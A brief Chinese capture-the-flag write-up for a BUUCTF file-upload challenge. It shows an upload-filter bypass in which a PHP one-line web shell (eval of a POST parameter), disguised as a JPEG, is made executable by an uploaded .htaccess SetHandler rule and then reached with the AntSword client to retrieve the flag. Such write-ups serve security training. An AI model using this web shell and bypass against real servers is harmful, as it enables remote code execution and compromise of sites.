题：
步骤（先上传木马，在上传.htaccess）
准备工作
他过滤了<? ,ph等
准备：一句话木马，.htaccess文件
.htaccess
SetHandler application/x-httpd-php //解析为php文件muma1.jpg
<script language='php'>eval($_POST['cmd']);</script> //一句话木马开始就绪
第一步：上传muma1.jpg再使用bp开始抓包，然后放过，得到他的路径
/var/www/html/upload/415d207cd4fbdc76b7a5d56818451ba3/muma1.jpg succesfully uploaded!
第二步：上传.htaccess通过pb抓包修改Content-Type: image/jpeg，再次放过，得到他的路径
/var/www/html/upload/415d207cd4fbdc76b7a5d56818451ba3/.htaccess succesfully uploaded!
第三步：组合得到的路径，进行蚁剑连接
null
http://aa15f862-d40e-4a4c-8d64-f4b96a2547f6.node5.buuoj.cn:81/upload/415d207cd4fbdc76b7a5d56818451ba3/muma1.jpg
第四步：查找flag
方法一，可以直接搜索\flag
方法二，点击第一个\文件夹，直接拉到最下面，有一个flag文件，点开即可
